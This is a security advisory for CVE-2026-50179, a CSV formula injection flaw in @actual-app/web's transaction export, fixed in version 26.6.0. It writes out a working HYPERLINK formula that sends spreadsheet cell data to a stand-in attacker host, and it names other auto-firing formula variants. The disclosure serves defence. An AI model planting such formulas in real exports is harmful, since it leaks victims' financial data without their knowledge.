Medium, CVSS 4.2npmAmendedPublished
@actual-app/web has CSV Formula Injection in Transaction Export via Imported Payee/Notes Fields
CVE-2026-50179 · GHSA-xqjm-27pc-rvwm
- Affected
- npm @actual-app/web < 26.6.0
- Fixed in
- 26.6.0· Vendor fix available
- Issue
- exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with =, +, -, @, tab, or carriage return survive verbatim into the exported CSV. When the victim (or anyone they share the export with) opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas. =HYPERLINK("http://attacker/?leak="&B2,"Bank refund") is the most reliable variant: it renders as a clickable link with benign text and exfiltrates adjacent cells (transaction amount, account name, payee, balance) on click, with no security prompt in modern Excel/Sheets. =WEBSERVICE/=IMPORTXML provide auto-firing exfil in some configurations; legacy DDE may achieve RCE on older Excel. Details Sink — packages/loot-core/src/server/transactions/export/export-to-csv.ts:56: and the same…
Recommended action: Upgrade to 26.6.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.